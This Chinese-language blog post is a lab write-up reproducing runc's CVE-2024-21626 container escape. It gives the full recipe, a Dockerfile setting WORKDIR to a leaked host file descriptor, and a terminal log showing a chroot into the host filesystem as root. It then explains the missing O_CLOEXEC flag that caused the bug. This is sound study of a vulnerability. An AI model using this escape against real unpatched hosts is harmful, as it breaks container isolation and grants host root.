CVE-2024-21626

研究一下 Docker 的 CVE。

前置知识

什么是 Docker

相信读这篇文章的大部分人都知道 Docker 是什么,但不一定能背出这种八股问题。
Deepseek 给出的回答是:Docker 是一种开源的容器化平台,用于快速构建、打包、部署和运行应用程序。它的核心思想是通过容器技术,将应用及其依赖环境(如库、配置等)打包成一个轻量级、可移植的镜像,从而实现 “一次构建,处处运行”

什么是 runC

runC 是一个开源的容器运行时,是 Docker 的一部分,用于创建和运行容器。runC 是一个轻量级的工具,它实现了 OCI 标准,可以在任何 OCI 兼容的容器运行时中使用。

复现

用 WSL 一直复现不出来,WSL 的情况很奇怪,docker version 能看到 runc 版本是老的,但是直接执行 runc 又没有这条命令。
尝试了很多次实在不行了,换 VMWare 里搞搞
新建了个 Ubuntu 20.04 的虚拟机,选择 Minimal Installation,不要浏览器之类乱七八糟的东西。
学校内网有镜像站,直接换个源起飞。

1
2
sudo rm /etc/apt/sources.list   # 要备份就 mv 一下,因为我是新机,就直接删了
sudo nano /etc/apt/sources.list

粘贴后 Ctrl + O 保存,Ctrl + X 退出。

1
2
sudo apt update
sudo apt upgrade

这里默认没带 SSH,执行 sudo apt install openssh-server 装一下,不然不太习惯 Ubuntu 自带的终端。
然后安装 Docker:

1
sudo apt install docker.io

docker version 看一下版本,runc 是新的,还是得自己编译老版本替换。

1
2
3
4
5
6
7
8
git clone https://github.com/opencontainers/runc
cd runc
git checkout v1.1.0-rc.1
sudo apt install -y build-essential libseccomp-dev # 不然会报错
make
sudo rm -rf $(which runc)
sudo make install
sudo systemctl restart docker

这个新机 make 和 go 都没有,中途也装了一下,不提。
写一个 Dockerfile 如下:

1
2
3
4
FROM ubuntu

# Sets the current working directory for this image
WORKDIR /proc/self/fd/7/

执行 docker build . -t test,这里 -t 的意思是 tag。
再执行 docker run --rm -it test bash,这里 --rm 可以让容器停止后自动删除容器文件系统,避免手动清理临时容器,一般用于测试,-it bash 意思是起一个交互式的 bash shell。
说是可能要多执行几次才会成功,但是执行了几十次都不行,把 Dockerfile 的 WORKDIR 改成 WORKDIR /proc/self/fd/8/ 就可以了。

OHHHHHHHHH!!!!!!!!!
以下是命令执行记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kali@cverc:~/cve-2024-21626$ sudo docker run --rm -it test bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@6e9ec0c97b8f:.# cd ../..
chdir: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@6e9ec0c97b8f:../..# ls
block bus class dev devices firmware fs hypervisor kernel module power
root@6e9ec0c97b8f:../..# pwd
../..
root@6e9ec0c97b8f:../..# cd ..
root@6e9ec0c97b8f:../../..# ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@6e9ec0c97b8f:../../..# ls /home
ubuntu
root@6e9ec0c97b8f:../../..# docker ps
bash: docker: command not found
root@6e9ec0c97b8f:../../..# chroot .
# ls
bin cdrom etc lib lib64 lost+found mnt proc run snap swapfile tmp var
boot dev home lib32 libx32 media opt root sbin srv sys usr
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6e9ec0c97b8f test "bash" 4 minutes ago Up 4 minutes admiring_gates
# whoami
root
# exit
root@6e9ec0c97b8f:../../..# exit
exit
kali@cverc:~/cve-2024-21626$ sudo docker run --rm -it test
[sudo] password for kali:
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@21b173949eee:.# exit
exit
kali@cverc:~/cve-2024-21626$ sudo docker run --rm -it test bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@d5e014a9425b:.#

这里简单提下,chroot 是改变根目录的命令,chroot . 就是把当前目录作为根目录,这样操作起来就跟宿主机一样了。

原理

还是得先普及几个概念。

什么是 openat()

这是 DeepSeek 的回答:

openat() 是 Linux 系统中的一个系统调用,用于以相对路径的方式打开文件或目录,旨在解决传统 open() 函数在多线程或路径变化场景下的竞争条件问题

首先我们知道 open() 是一个关于文件的系统调用,那么就可以大概理解成 openat()open() 的一个改良。

关于 open() 函数的条件竞争问题

这个属于题外话,感兴趣的朋友可以看一下,不感兴趣的直接往下过就行。
条件竞争有些情景也叫竞态条件,可以大致理解成一回事。
我们可以用一个简单的例子来说明这个问题,先在 /tmp/dir1/tmp/dir2 下分别创建一个文件 test.txt,命令如下:

1
2
3
mkdir -p /tmp/dir1 /tmp/dir2 && \
echo "This is /tmp/dir1/test.txt" > /tmp/dir1/test.txt && \
echo "This is /tmp/dir2/test.txt" > /tmp/dir2/test.txt

然后写一个简单的 C 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>

const char *filename = "test.txt";

// 线程 A:循环切换当前工作目录
void *switch_directory(void *arg) {
while (1) {
// 在三个目录之间来回切换
chdir("/tmp/dir1");
chdir("/tmp/dir2");
chdir("/var");
}
return NULL;
}

// 线程 B:尝试打开文件
void *open_file(void *arg) {
while (1) {
// 尝试以只读方式打开文件(假设文件存在于某目录下)
int fd = open(filename, O_RDONLY);
if (fd == -1) {
perror("open failed");
} else {
printf("open succeeded\n");
// 输出文件内容
char buf[1024];
ssize_t n = read(fd, buf, sizeof(buf));
if (n == -1) {
perror("read failed");
} else {
buf[n] = '\0';
printf("read: %s\n", buf);
}
close(fd);
}
usleep(1000000); // 短暂延迟
}
return NULL;
}

int main() {
pthread_t t1, t2;
pthread_create(&t1, NULL, switch_directory, NULL);
pthread_create(&t2, NULL, open_file, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return 0;
}

编译并运行这个程序:

1
gcc -o race_condition_test race_condition_test.c -lpthread && ./race_condition_test

可以看到执行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
open succeeded
read: This is /tmp/dir2/test.txt

open failed: No such file or directory
open failed: No such file or directory
open succeeded
read: This is /tmp/dir2/test.txt

open succeeded
read: This is /tmp/dir2/test.txt

open failed: No such file or directory
open succeeded
read: This is /tmp/dir1/test.txt

open succeeded
read: This is /tmp/dir1/test.txt

open succeeded
read: This is /tmp/dir2/test.txt

open failed: No such file or directory

读者稍加理解上以代码和运行结果就可以发现,open() 函数容易受到 CWD(Current Working Directory,当前工作目录)的影响,若多个线程同时调用 chdir() 修改全局 CWD,并依赖相对路径调用 open(),其他线程的后续 open() 操作就可能因 CWD 被意外修改而解析到错误路径。

这个时候 openat() 就来了,man 官网上关于 open 家族的函数的描述如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <fcntl.h>

int open(const char *pathname, int flags, ...
/* mode_t mode */ );

int creat(const char *pathname, mode_t mode);

int openat(int dirfd, const char *pathname, int flags, ...
/* mode_t mode */ );

/* Documented separately, in openat2(2): */
int openat2(int dirfd, const char *pathname,
const struct open_how *how, size_t size);

可以看到,openat() 函数比 open() 多了一个 dirfd 参数,这个参数是一个文件描述符,用于指定相对路径的起始目录,而不是依赖全局 CWD,这样就避免的 open() 函数的条件竞争问题。
demo 如下:

1
2
int dirfd = open("/home", O_RDONLY | O_DIRECTORY);
int fd = openat(dirfd, filename, O_RDONLY);

具体的对比测试就不做了,反正肯定可以解决上面的问题的(不然搞来干嘛 hhh

openat() | openat(2) | openat2() | openat2(2) 的区别

在搜索的过程中,这几个玩意都有出现,给我绕晕了。

吐槽一下,nitroc 的文章里面一会 openat(2) 一会 openat2(2) 的,一切换成他的英文版本又全是 openat2(2),不是哥们你能不能好好写文章,有点逆天了。

这块问了下 DeepSeek,然后自己试了一下,大概得出的结论如下:
先说 openat()openat2(),首先上面的文档比较明显地看到 openat()openat2() 在参数上的区别,openat() 采用的还是传统的 flags,而 openat2() 采用的是 struct open_how 结构体,可以说 openat2()openat() 的一个扩展,具体不作展开,读者有兴趣可以自行查阅相关文档。

openat(2)openat2(2) 又是什么呢?经过我的测试,结论有点无语,这个 2
指的是 Linux 手册页第 2 部分,执行命令 man 2 openat 可以在本地看到相关文档,翻到最后,有个

1
2
3
4
SEE ALSO
chmod(2), chown(2), close(2), dup(2), fcntl(2), link(2), lseek(2), mknod(2), mmap(2), mount(2), open_by_handle_at(2), ope‐
nat2(2), read(2), socket(2), stat(2), umask(2), unlink(2), write(2), fopen(3), acl(5), fifo(7), inode(7), path_resolution(7),
symlink(7)

不信邪的读者可以执行 man 7 fifo,就能看到相关文档,但是执行 man 2 fifo,即在第 7 部分以外的地方查找,就会提示 No manual entry for fifo in section 2,其他命令类似。

什么是 Cgroups

以下是 DeepSeek 的回答:
Cgroups(Control Groups) 是 Linux 内核提供的一种机制,用于对系统资源(如 CPU、内存、磁盘 I/O、网络等)进行分组管理和限制。它通过将进程及其子进程组织成层级化的“控制组”,实现对不同进程组的资源分配、优先级调整和监控。

那么说人话就是,Cgroups 是用来调控资源的使用的。
Docker 通过 Namespace 实现了容器的隔离,通过 Cgroups 实现了容器的资源限制,太有意思了。

Docker 运行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
用户操作层
├── docker-client (CLI)
└── dockerd (守护进程)

容器管理层
└── containerd

容器运行时层
├── containerd-shim (管理单个容器)
└── runc (实际创建容器)

容器内部
└── container-entrypoint (容器入口命令)

现在我们可以系统地观察一下 Docker 启用一个容器的流程了,再补充一个热知识:dockerd 后面的 d 指的是 daemon,守护进程的意思,containerd 后面的 d 同理,sshd 等平时应该也见过。
containerd-shim 则是 containerd 的一个子进程,负责管理单个容器的生命周期,与容器是一一对应的关系。从 shim 的英文意思(垫片)可以看出,是一个连接 containerd 和 runc 的桥梁,避免单个容器的异常影响整个 containerd 的运行。

为什么会产生这个漏洞

观察 Cgroups 关于这个漏洞的修复
https://github.com/opencontainers/cgroups/commit/8f731c2c1785c565ac665fcc309e87b31305bea2
可以很明显地发现关于 openat2() 的调用产生如下变化:

1
2
- Flags: unix.O_DIRECTORY | unix.O_PATH,
+ Flags: unix.O_DIRECTORY | unix.O_PATH | unix.O_CLOEXEC,

可以看到之前是不带 O_CLOEXEC 的,O_CLOEXEC 是一个标志位,全称 Close-on-Exec,核心作用是在进程调用 exec 系列函数(如 execve)执行新程序时,自动关闭当前打开的文件描述符,从而避免子进程继承不必要的资源。

prepareOpenat2() 函数会测试一下 openat2() 能不能用,因为 openat2() 是 Linux 5.6 版本才有的,但是由于没加 O_CLOEXEC,这个测试不会把打开过的主机 /sys/fs/cgroup 的 fd 关掉,以至于子进程仍然可以访问这个 fd,最终导致逃逸的发生。

那为什么 /sys/fs/cgroup 的文件描述符是 8 呢,根据文章的说法,这个与 Golang 运行时有关系,我们知道 0 是 stdin,1 是 stdout,2 是 stderr,然后一些日志啥的会用到 fd,排队排到 /sys/fs/cgroup 的时候就变成 8 了。

总结

算是比较系统地了解了一下 Docker,复现 CVE 真的能学到东西的。

参考

https://nitroc.org/posts/cve-2024-21626-illustrated
https://www.manjusaka.blog/posts/2024/02/10/CVE-2024-21626/index.html
https://blog.csdn.net/qq_42931917/article/details/131468557
https://man7.org/linux/man-pages/man2/open.2.html
https://github.com/opencontainers/cgroups/blob/2a61babab3b079d757796fb543bf91400d15d4b9/file.go#L110

作者

未央

发布于

2025-03-03

更新于

2025-04-16

许可协议

评论